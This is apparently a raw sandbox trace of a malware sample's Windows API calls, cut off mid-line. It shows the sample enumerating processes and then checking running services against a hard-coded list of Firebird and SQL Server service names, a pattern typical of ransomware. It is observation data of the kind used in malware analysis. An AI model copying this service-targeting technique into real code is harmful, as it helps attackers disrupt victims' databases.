Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0195.231] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0195.231] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0195.232] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0195.232] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0195.233] lstrlenW (lpString="alienwed.exe") returned 12 [0195.233] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0195.234] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0195.234] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0195.235] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0195.235] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0195.236] lstrlenW (lpString="mp beginners.exe") returned 16 [0195.236] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0195.237] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0195.237] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0195.238] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0195.238] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0195.239] lstrlenW (lpString="harassment.exe") returned 14 [0195.239] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0195.240] lstrlenW (lpString="francis-communication.exe") returned 25 [0195.240] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0195.241] lstrlenW (lpString="gccinformational.exe") returned 20 [0195.242] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0195.243] lstrlenW (lpString="diploma.exe") returned 11 [0195.243] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0195.244] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0195.244] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0195.245] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0195.245] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.246] lstrlenW (lpString="svchost.exe") returned 11 [0195.246] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0195.247] lstrlenW (lpString="sppsvc.exe") returned 10 [0195.247] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.248] lstrlenW (lpString="svchost.exe") returned 11 [0195.248] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0195.249] lstrlenW (lpString="dllhost.exe") returned 11 [0195.249] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0195.251] lstrlenW (lpString="dllhost.exe") returned 11 [0195.251] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0195.251] lstrlenW (lpString="qnuriy.exe") returned 10 [0195.251] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0195.252] lstrlenW (lpString="cmd.exe") returned 7 [0195.252] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0195.253] lstrlenW (lpString="conhost.exe") returned 11 [0195.253] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0195.253] CloseHandle (hObject=0x160) returned 1 [0195.253] Sleep (dwMilliseconds=0x1f4) [0198.818] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x56fb88 [0198.818] EnumServicesStatusExW (in: hSCManager=0x56fb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0198.819] GetLastError () returned 0xea [0198.819] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x134c) returned 0x3ed21b0 [0198.819] EnumServicesStatusExW (in: hSCManager=0x56fb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ed21b0, cbBufSize=0x134c, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ed21b0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0198.820] CloseServiceHandle (hSCObject=0x56fb88) returned 1 [0198.820] lstrlenW (lpString="Appinfo") returned 7 [0198.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0198.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0198.820] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0198.820] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0198.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0198.820] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0198.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0198.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0198.821] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0198.821] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0198.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0198.821] lstrlenW (lpString="AudioSrv") returned 8 [0198.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0198.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0198.821] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0198.821] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0198.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0198.821] lstrlenW (lpString="BFE") returned 3 [0198.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0198.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0198.821] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0198.821] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0198.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0198.821] lstrlenW (lpString="CryptSvc") returned 8 [0198.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0198.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0198.822] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0198.822] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0198.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0198.822] lstrlenW (lpString="CscService") returned 10 [0198.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0198.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0198.822] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0198.822] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0198.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0198.822] lstrlenW (lpString="DcomLaunch") returned 10 [0198.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0198.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0198.822] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0198.822] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0198.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0198.822] lstrlenW (lpString="Dhcp") returned 4 [0198.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0198.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0198.822] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0198.822] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0198.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0198.822] lstrlenW (lpString="Dnscache") returned 8 [0198.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0198.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0198.822] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0198.822] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0198.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0198.823] lstrlenW (lpString="DPS") returned 3 [0198.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0198.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0198.823] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0198.823] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0198.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0198.823] lstrlenW (lpString="eventlog") returned 8 [0198.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0198.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0198.823] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0198.823] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0198.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0198.823] lstrlenW (lpString="EventSystem") returned 11 [0198.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0198.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0198.823] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0198.823] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0198.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0198.823] lstrlenW (lpString="FontCache") returned 9 [0198.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0198.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0198.823] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0198.824] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0198.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0198.824] lstrlenW (lpString="gpsvc") returned 5 [0198.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0198.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0198.824] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0198.824] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0198.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0198.824] lstrlenW (lpString="iphlpsvc") returned 8 [0198.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0198.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0198.824] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0198.824] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0198.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0198.824] lstrlenW (lpString="LanmanServer") returned 12 [0198.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0198.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0198.824] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0198.824] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0198.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0198.825] lstrlenW (lpString="LanmanWorkstation") returned 17 [0198.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0198.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0198.825] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0198.825] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0198.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0198.825] lstrlenW (lpString="lmhosts") returned 7 [0198.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0198.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0198.825] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0198.825] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0198.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0198.825] lstrlenW (lpString="MMCSS") returned 5 [0198.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0198.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0198.825] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0198.826] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0198.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0198.826] lstrlenW (lpString="MpsSvc") returned 6 [0198.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0198.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0198.826] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0198.826] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0198.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0198.826] lstrlenW (lpString="Netman") returned 6 [0198.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0198.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0198.826] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0198.826] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0198.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0198.826] lstrlenW (lpString="netprofm") returned 8 [0198.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0198.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0198.826] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0198.826] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0198.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0198.826] lstrlenW (lpString="NlaSvc") returned 6 [0198.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0198.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0198.827] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0198.827] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0198.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0198.827] lstrlenW (lpString="nsi") returned 3 [0198.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0198.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0198.827] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0198.827] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0198.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0198.827] lstrlenW (lpString="PcaSvc") returned 6 [0198.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0198.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0198.827] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0198.827] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0198.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0198.827] lstrlenW (lpString="PlugPlay") returned 8 [0198.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0198.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0198.827] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0198.827] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0198.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0198.828] lstrlenW (lpString="Power") returned 5 [0198.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0198.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0198.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0198.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0198.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0198.828] lstrlenW (lpString="ProfSvc") returned 7 [0198.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0198.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0198.828] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0198.828] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0198.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0198.828] lstrlenW (lpString="RpcEptMapper") returned 12 [0198.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0198.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0198.829] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0198.829] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0198.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0198.829] lstrlenW (lpString="RpcSs") returned 5 [0198.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0198.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0198.829] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0198.829] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0198.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0198.829] lstrlenW (lpString="SamSs") returned 5 [0198.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0198.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0198.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0198.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0198.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0198.829] lstrlenW (lpString="Schedule") returned 8 [0198.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0198.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0198.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0198.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0198.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0198.830] lstrlenW (lpString="SENS") returned 4 [0198.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0198.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0198.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0198.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0198.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0198.830] lstrlenW (lpString="ShellHWDetection") returned 16 [0198.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0198.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0198.874] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0198.874] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0198.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0198.874] lstrlenW (lpString="Spooler") returned 7 [0198.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0198.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0198.874] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0198.874] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0198.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0198.875] lstrlenW (lpString="sppsvc") returned 6 [0198.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0198.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0198.875] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0198.875] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0198.875] lstrcmpiW 